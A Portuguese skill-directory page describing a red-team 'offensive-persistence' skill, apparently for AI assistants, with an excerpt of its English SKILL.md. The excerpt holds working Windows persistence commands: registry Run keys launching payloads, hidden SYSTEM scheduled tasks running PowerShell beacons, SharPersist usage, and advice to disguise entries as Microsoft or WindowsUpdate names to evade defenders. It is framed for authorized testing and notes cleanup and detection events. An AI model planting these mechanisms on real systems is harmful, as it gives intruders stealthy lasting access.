Pular para o conteúdo
Skillpedia
Segurança10 mil · #11966

offensive-persistence

O que ela faz

Esta skill cobre técnicas de persistência em Windows e Linux que equipes de red team testam em trabalhos autorizados, como chaves de inicialização automática, tarefas agendadas e serviços. Ela enfatiza métodos reversíveis e a remoção limpa. Ela é para profissionais de segurança com permissão por escrito.

Quando usar

  • ✓Quando você está testando se um atacante conseguiria manter o acesso depois de reiniciar a máquina, em um teste autorizado.
  • ✓Quando você precisa verificar locais de inicialização automática, tarefas agendadas ou serviços em uma máquina Windows.
  • ✓Quando você quer registrar cada mecanismo de persistência para que ele possa ser removido ao final do trabalho.

Link da skill

https://github.com/SnailSploit/Claude-Red/blob/main/Skills/post-exploitation/offensive-persistence/SKILL.md

Copie e cole na sua IA (Claude, ChatGPT ou Cursor) pedindo para seguir as instruções.

Como usar

O jeito mais fácil: copie a mensagem e cole na sua IA. Ela lê a skill e segue as instruções.

Mensagem pronta para colar

Use esta skill para me ajudar: https://github.com/SnailSploit/Claude-Red/blob/main/Skills/post-exploitation/offensive-persistence/SKILL.md Leia o arquivo SKILL.md desse link e siga as instruções dele na minha tarefa.
Quer que a sua IA encontre skills como esta sozinha?Instale o MCP grátis do Skillpedia: uma linha, e ela pesquisa entre 15.000+ skills antes de cada tarefa.Instalar em 1 minuto →

Exemplo do que pedir para a IA

“Temos autorização para testar nossos endpoints Windows. Verifique quais mecanismos de persistência são possíveis e documente como removê-los.”

5 skills novas por semana. 1 minuto de leitura.

Como funciona

A skill verifica primeiro o seu nível de privilégio e o sistema operacional do alvo. Em seguida escolhe um mecanismo adequado, confirma que ele sobrevive a uma reinicialização e registra o local exato para a limpeza.

Conteúdo técnico (SKILL.md original)

Texto original do autor, em inglês, direto do GitHub.

Offensive Persistence

Persistence ensures your access survives reboots, password changes, and routine maintenance. You plant mechanisms that re-establish a session or re-execute your payload without requiring a new initial compromise. The choice of persistence technique depends on your privilege level, the target operating system, the engagement scope, and the detection risk you can tolerate.

This skill covers both Windows and Linux persistence methods, from simple registry keys to domain-level Active Directory backdoors. Every technique here assumes you already have code execution on the target. Apply these in authorized engagements only.

Quick Workflow

  1. Assess your current privilege level (user-level vs admin/root vs domain admin).
  2. Identify the target OS version and security controls in place.
  3. Select a persistence mechanism matching your access level and stealth needs.
  4. Validate the persistence survives a reboot or logoff event.
  5. Document the exact mechanism and location for cleanup during engagement close.
  6. Layer multiple persistence methods at different privilege levels when scope allows.
  7. Prefer reversible methods that you can fully remove during remediation.

Windows: Registry Autostart

Registry Run and RunOnce keys execute commands at user logon or system startup. These are the simplest persistence mechanisms and work at both user and admin privilege levels.

# User-level persistence (HKCU, no admin required)
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsUpdate" /t REG_SZ /d "C:\Users\Public\payload.exe" /f

# Machine-level persistence (HKLM, requires admin)
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /t REG_SZ /d "C:\Windows\Temp\svc.exe" /f

# RunOnce -- executes once then deletes the key
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "Setup" /t REG_SZ /d "powershell -ep bypass -w hidden -f C:\Users\Public\init.ps1" /f

Using SharPersist for operational convenience:

# Add registry Run key persistence
SharPersist.exe -t reg -c "C:\Users\Public\payload.exe" -a "" -k "hkcurun" -v "WindowsUpdate" -m add

# List current registry persistence
SharPersist.exe -t reg -k "hkcurun" -m list

# Remove it during cleanup
SharPersist.exe -t reg -k "hkcurun" -v "WindowsUpdate" -m remove

Additional autostart locations you should know:

HKCU\Software\Microsoft\Windows\CurrentVersion\RunServices
HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows\load
HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
HKLM\System\CurrentControlSet\Services\<svc>\ImagePath
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit

OPSEC note: Registry Run keys are the first place defenders check. Use innocuous-sounding value names. Sysmon event 13 (RegistryValueSet) captures all registry modifications to these keys.


Windows: Scheduled Tasks

Scheduled tasks provide flexible persistence with precise timing control. They survive reboots and can run as SYSTEM or any specified user.

# Create a scheduled task running as SYSTEM at boot
schtasks /create /tn "Microsoft\Windows\Maintenance\SecurityScan" /tr "C:\Windows\Temp\svc.exe" /sc onstart /ru SYSTEM /f

# Create a task that runs every 15 minutes
schtasks /create /tn "CacheCleanup" /tr "powershell -ep bypass -w hidden -f C:\Users\Public\beacon.ps1" /sc minute /mo 15 /ru SYSTEM /f

# Create a task triggered by user logon
schtasks /create /tn "OneDriveSync" /tr "C:\Users\Public\payload.exe" /sc onlogon /f

SharPersist alternative: SharPersist.exe -t schtask -c "C:\Windows\Temp\svc.exe" -n "SecurityScan" -m add -o logon

Using PowerShell for more control:

$action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-ep bypass -w hidden -f C:\ProgramData\task.ps1"
$trigger = New-ScheduledTaskTrigger -AtStartup
$principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -LogonType ServiceAccount -RunLevel Highest
$settings = New-ScheduledTaskSettingsSet -Hidden
Register-ScheduledTask -TaskName "Microsoft\Windows\AppID\PolicyConverter" -Action $action -Trigger $trigger -Principal $principal -Settings $settings

OPSEC note: Nest task names under existing Microsoft directories (e.g., Microsoft\Windows\Maintenance\) to blend in. Event 4698 records task creation.


Windows: WMI Event

Perguntas frequentes

Por que a skill prefere métodos reversíveis?

A skill diz para usar métodos que possam ser totalmente removidos durante a correção, para que o cliente fique limpo.

Quais técnicas de Windows ela cobre?

Ela cobre chaves de inicialização automática no registro, tarefas agendadas, assinaturas WMI e criação de serviços, entre outras.

Isso serve só para testes autorizados?

Sim. Ela foi escrita para trabalhos com permissão por escrito.

Detalhes

Descrição original do autor

Comprehensive persistence tradecraft for authorized red team engagements covering Windows and Linux mechanisms. Windows techniques include registry Run/RunOnce keys, scheduled tasks, WMI event subscriptions, DLL search order hijacking, COM object hijacking, Startup folder drops, service creation, Security Support Provider (SSP) DLL injection, and Active Directory persistence (AdminSDHolder abuse, DCShadow, Golden Ticket, Silver Ticket, Skeleton Key, SID History injection). Linux techniques include cron and at jobs, systemd timers and services, SSH authorized_keys injection, shell profile backd

repo: SnailSploit/Claude-Red

Popularidade

Estrelas no GitHub
10 mil
Posição no ranking
#11966
Licença
MIT
Atualizada em
12/10/2026

Essa skill é útil?

0

Entre para votar.

Comentários

  • …

Mais skills deste repositório

Skills parecidas